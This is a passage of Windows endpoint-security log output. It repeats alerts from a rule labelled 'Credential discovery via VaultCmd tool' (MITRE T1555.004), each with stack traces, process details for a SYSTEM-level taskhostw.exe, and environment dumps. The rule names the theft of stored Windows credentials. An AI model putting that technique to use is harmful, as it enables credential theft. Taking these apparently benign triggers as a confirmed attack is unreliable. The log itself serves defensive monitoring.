CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13107d2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c190c048 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff802c190bcbb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff802c190309f C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x5c4f|0xfffff802c18fce35 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff802c18fc40d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3734 C:\Windows\System32\ntdll.dll!ZwMapViewOfSection|0x7ffb77dad9eb C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dad42e C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77db24cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffb77db00ac C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dafcda C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffb77dbd270 C:\Windows\System32\ntdll.dll!RtlRaiseStatus|0x7ffb77dbe4b1 C:\Windows\System32\ntdll.dll!RtlRaiseStatus|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 407554 + Pid: 6700 + Tid: 4236 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:31.9477847 +0100 CET + Params: file_key➜ ffff808cc5ed3700, file_path➜ C:\Windows\System32\dmenrollengine.dll, offset➜ 16384, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, type➜ File, view_base➜ 7ffb57500000, view_size➜ 1024000 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1309c64 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x604|0xfffff802c130c59b C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseRundownProtectionCacheAwareEx+0x6db|0xfffff802c1874c3c C:\WINDOWS\system32\ntoskrnl.exe!RtlPrefixUnicodeString+0x3bcc|0xfffff802c1869e65 C:\WINDOWS\system32\ntoskrnl.exe!RtlCompareUnicodeStrings+0x9c5|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3e24 C:\Windows\System32\ntdll.dll!ZwSetValueKey|0x7ffb750565aa C:\Windows\System32\KernelBase.dll!RegSetValueExW|0x7ffb750561f4 C:\Windows\System32\KernelBase.dll!RegSetValueExW|0x7ffb54d1892f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d17db0 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d176b0 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d031f4 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06122 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391701 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.3023452 +0100 CET + Params: file_key➜ ffff808cc584b700, file_path➜ , offset➜ 8192, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb5e7e0000, view_size➜ 208896 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, technique.name: Credentials from Password Stores + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1309c64 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x604|0xfffff802c130c59b C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseRundownProtectionCacheAwareEx+0x6db|0xfffff802c1874c3c C:\WINDOWS\system32\ntoskrnl.exe!RtlPrefixUnicodeString+0x3bcc|0xfffff802c1869e65 C:\WINDOWS\system32\ntoskrnl.exe!RtlCompareUnicodeStrings+0x9c5|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3e24 C:\Windows\System32\ntdll.dll!ZwSetValueKey|0x7ffb750565aa C:\Windows\System32\KernelBase.dll!RegSetValueExW|0x7ffb750561f4 C:\Windows\System32\KernelBase.dll!RegSetValueExW|0x7ffb54d1892f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d17db0 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1774a C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d031f4 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06122 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391714 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.3034169 +0100 CET + Params: file_key➜ ffff808cc2aed700, file_path➜ , offset➜ 12288, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb6f750000, view_size➜ 741376 + Metadata: subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:43+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1309c64 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x604|0xfffff802c130c59b C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseRundownProtectionCacheAwareEx+0x6db|0xfffff802c1874c3c C:\WINDOWS\system32\ntoskrnl.exe!RtlPrefixUnicodeString+0x3bcc|0xfffff802c1869e65 C:\WINDOWS\system32\ntoskrnl.exe!RtlCompareUnicodeStrings+0x9c5|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3e24 C:\Windows\System32\ntdll.dll!ZwSetValueKey|0x7ffb750565aa C:\Windows\System32\KernelBase.dll!RegSetValueExW|0x7ffb750561f4 C:\Windows\System32\KernelBase.dll!RegSetValueExW|0x7ffb54d1892f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d17db0 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1791b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d031f4 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06122 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1149b C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54cfbd33 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2db16 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30a04 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d30b68 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391771 + Pid: 6700 + Tid: 8424 + Type: MapViewFile + CPU: 4 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.320679 +0100 CET + Params: file_key➜ ffff808cc069d3e0, file_path➜ , offset➜ 12288, pid➜ 6700, protection➜ EXECUTE_READWRITE|READONLY, section_type➜ IMAGE, view_base➜ 7ffb77700000, view_size➜ 413696 + Metadata: technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, subtechnique.id: T1555.004, technique.id: T1555 + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:44+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1256899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c13111a6 C:\WINDOWS\system32\ntoskrnl.exe!PsGetThreadServerSilo+0x576|0xfffff802544e6d24 C:\WINDOWS\System32\drivers\fileinfo.sys!?|0xfffff80252c382cf C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x12df|0xfffff80252c379b0 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x9c0|0xfffff80252ca7d00 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltAllocateFileLock+0x1c30|0xfffff802c135d3ed C:\WINDOWS\system32\ntoskrnl.exe!IofCallDriver+0xcd|0xfffff802c185f8d5 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x44a5|0xfffff802c185d9a2 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x2572|0xfffff802c185b631 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x201|0xfffff802c1987305 C:\WINDOWS\system32\ntoskrnl.exe!IoQueryInformationByName+0x225|0xfffff80252c48602 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltQueryInformationByName+0x122|0xfffff802692d889b C:\WINDOWS\system32\drivers\wcifs.sys!?|0xfffff802692d7099 C:\WINDOWS\system32\drivers\wcifs.sys!?|0xfffff80252c39dbe C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x2dce|0xfffff80252c3958e C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x259e|0xfffff80252c41166 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltDecodeParameters+0x1986|0xfffff80252c38ee1 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltPerformSynchronousIo+0x1ef1|0xfffff80252ca7d16 C:\WINDOWS\System32\drivers\FLTMGR.SYS!FltAllocateFileLock+0x1c46|0xfffff802c135d3ed C:\WINDOWS\system32\ntoskrnl.exe!IofCallDriver+0xcd|0xfffff802c185f8d5 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x44a5|0xfffff802c185d800 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x23d0|0xfffff802c185b631 C:\WINDOWS\system32\ntoskrnl.exe!ObOpenObjectByNameEx+0x201|0xfffff802c18ee9aa C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x50a|0xfffff802c18ee519 C:\WINDOWS\system32\ntoskrnl.exe!NtCreateFile+0x79|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3cd4 C:\Windows\System32\ntdll.dll!ZwCreateFile|0x7ffb750e39da C:\Windows\System32\KernelBase.dll!GetDriveTypeA|0x7ffb750e2b12 C:\Windows\System32\KernelBase.dll!CreateDirectoryW|0x7ffb54d29a3a C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d299f1 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d29431 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d2a3d9 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d28b62 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11f9a C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d164ba C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d12a38 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d14258 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1117f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d10c06 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d10d49 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0f9c1 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d040a6 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb549642bf C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54964e21 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549650a3 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54960e4a C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54965ae0 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb549616ee C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54963dd9 C:\Windows\System32\FlightSettings.dll!SvchostPushServiceGlobals|0x7ffb54d1af22 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d18027 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d133cc C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d13232 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d16df7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d0610f C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d06ea5 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d194f7 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d1a528 C:\Windows\System32\wosc.dll!DllGetClassObject|0x7ffb54d11534 